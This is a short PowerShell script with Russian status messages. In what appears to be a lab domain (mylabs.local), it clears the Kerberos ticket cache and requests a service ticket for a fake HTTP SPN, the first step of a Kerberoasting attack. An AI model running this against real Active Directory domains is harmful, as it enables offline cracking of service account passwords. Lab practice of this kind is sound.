---

Write-Host "[*] Очистка старого кэша Kerberos билетов..." -ForegroundColor Cyan
klist purge | Out-Null

Write-Host "[*] Запрос TGS-билета (Kerberoasting) для HTTP/fake-service1.mylabs.local..." -ForegroundColor Cyan
try {
    Add-Type -AssemblyName System.IdentityModel
    $Token = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/fake-service1.mylabs.local"
    
    Write-Host "[+] Успешно! Билет получен и сохранен в памяти." -ForegroundColor Green
    Write-Host "`n--- Информация о билете ---" -ForegroundColor Yellow
    $Token | Select-Object ServicePrincipalName, ValidFrom, ValidTo | Format-List
    
    Write-Host "[*] Проверка кэша через klist:" -ForegroundColor Cyan
    klist | Select-String -Pattern "HTTP/fake-service1.mylabs.local" -Context 0,3
}
catch {
    Write-Error "[-] Не удалось запросить билет. Проверьте, добавлен ли SPN пользователю в AD."
}